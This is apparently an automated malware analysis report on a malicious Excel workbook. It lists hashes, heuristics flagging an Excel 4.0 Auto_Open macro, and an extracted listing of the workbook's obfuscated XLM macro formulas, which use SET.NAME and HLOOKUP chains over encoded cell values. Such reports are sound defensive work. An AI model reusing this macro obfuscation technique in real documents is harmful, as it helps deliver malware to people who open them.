Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95e0a4ec99089570…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:44 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 058453e213553f5310c00a81880452e3 SHA-1: 059317e065c9872d4befa81c88c37bfcca74792c SHA-256: 95e0a4ec99089570c633b8f448cbf1bdc3277fd046ee7fa379619d18e93ce058
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6895 bytes
SHA-256: 30ea96e356885ac3fea017f8f3383aa3227c3256b71a16bc8284213798116bda
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AOIsLjmOsSD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F177 
' 0018     22 LABEL : Cell Value, String Constant - AwBHdfE len=0 
' 0018     20 LABEL : Cell Value, String Constant - BFXVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - BpErrJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - CnhKdGqcORsx len=0 
' 0018     25 LABEL : Cell Value, String Constant - EOVdJEnyzZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - gFYzkQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - lbXuiyaG len=0 
' 0018     24 LABEL : Cell Value, String Constant - lkkXYbthE len=0 
' 0018     23 LABEL : Cell Value, String Constant - lXpmtFDl len=0 
' 0018     20 LABEL : Cell Value, String Constant - mNHFX len=0 
' 0018     25 LABEL : Cell Value, String Constant - mxJmShVFzi len=0 
' 0018     26 LABEL : Cell Value, String Constant - OQHwBvdVUUe len=0 
' 0018     26 LABEL : Cell Value, String Constant - PPIOibkfrCZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - pUBbNqQvtLc len=0 
' 0018     27 LABEL : Cell Value, String Constant - SnTUJBbRnAuA len=0 
' 0018     27 LABEL : Cell Value, String Constant - sxJbaFZApkxA len=0 
' 0018     23 LABEL : Cell Value, String Constant - thRrpKzq len=0 
' 0018     24 LABEL : Cell Value, String Constant - trDaiNyuL len=0 
' 0018     27 LABEL : Cell Value, String Constant - unjtlQePpiLx len=0 
' 0018     26 LABEL : Cell Value, String Constant - vCNIshPUbXc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AOIsLjmOsSD,T82,"",-855.00000000000000000000
'  AOIsLjmOsSD,T83,"",-767.00000000000000000000
'  AOIsLjmOsSD,T84,"",146.00000000000000000000
'  AOIsLjmOsSD,F85,"SET.NAME("EOVdJEnyzZ",0+VALUE("0"))",""
'  AOIsLjmOsSD,T85,"",992.00000000000000000000
'  AOIsLjmOsSD,T86,"",323.00000000000000000000
'  AOIsLjmOsSD,F87,"SET.NAME("lbXuiyaG",EOVdJEnyzZ)",""
'  AOIsLjmOsSD,T87,"",591.00000000000000000000
'  AOIsLjmOsSD,F90,"SET.NAME("BFXVt",EOVdJEnyzZ)",""
'  AOIsLjmOsSD,F92,"SET.NAME("sxJbaFZApkxA",COUNTA(AwBHdfE))",""
'  AOIsLjmOsSD,F95,"SET.NAME("OQHwBvdVUUe",COUNTA(thRrpKzq))",""
'  AOIsLjmOsSD,F98,[],""
'  AOIsLjmOsSD,F103,"SET.NAME("gFYzkQ","")",""
'  AOIsLjmOsSD,F107,"lbXuiyaG",""
'  AOIsLjmOsSD,F109,"SET.NAME("mNHFX",HLOOKUP("*",AwBHdfE,lbXuiyaG,FALSE))",""
'  AOIsLjmOsSD,F111,"mxJmShVFzi",""
'  AOIsLjmOsSD,F116,"SET.NAME("BpErrJ",EOVdJEnyzZ)",""
'  AOIsLjmOsSD,F120,[],""
'  AOIsLjmOsSD,F123,"BpErrJ",""
'  AOIsLjmOsSD,F126,"pUBbNqQvtLc",""
'  AOIsLjmOsSD,F131,"lXpmtFDl",""
'  AOIsLjmOsSD,F133,"vCNIshPUbXc",""
'  AOIsLjmOsSD,F138,"SET.NAME("lkkXYbthE",VALUE(HLOOKUP("*",thRrpKzq,vCNIshPUbXc,FALSE)))",""
'  AOIsLjmOsSD,F140,"CnhKdGqcORsx",""
'  AOIsLjmOsSD,F145,"gFYzkQ",""
'  AOIsLjmOsSD,F149,"BFXVt",""
'  AOIsLjmOsSD,F153,NEXT(),""
'  AOIsLjmOsSD,F157,"SnTUJBbRnAuA",""
'  AOIsLjmOsSD,F162,[],""
'  AOIsLjmOsSD,F166,"trDaiNyuL",""
'  AOIsLjmOsSD,F171,NEXT(),""
'  AOIsLjmOsSD,F175,RETURN(),""
'  AOIsLjmOsSD,F202,"SET.NAME("PPIOibkfrCZ",F85)",""
'  AOIsLjmOsSD,F207,"AwBHdfE",""
'  AOIsLjmOsSD,F211,"SET.NAME("thRrpKzq",R84C15)",""
'  AOIsLjmOsSD,F215,"SET.NAME("trDaiNyuL",224)",""
'  AOIsLjmOsSD,F220,"SET.NAME("unjtlQePpiLx",6)",""
'  AOIsLjmOsSD,F223,PPIOibkfrCZ(),""
'  AOIsLjmOsSD,F224,HALT(),""

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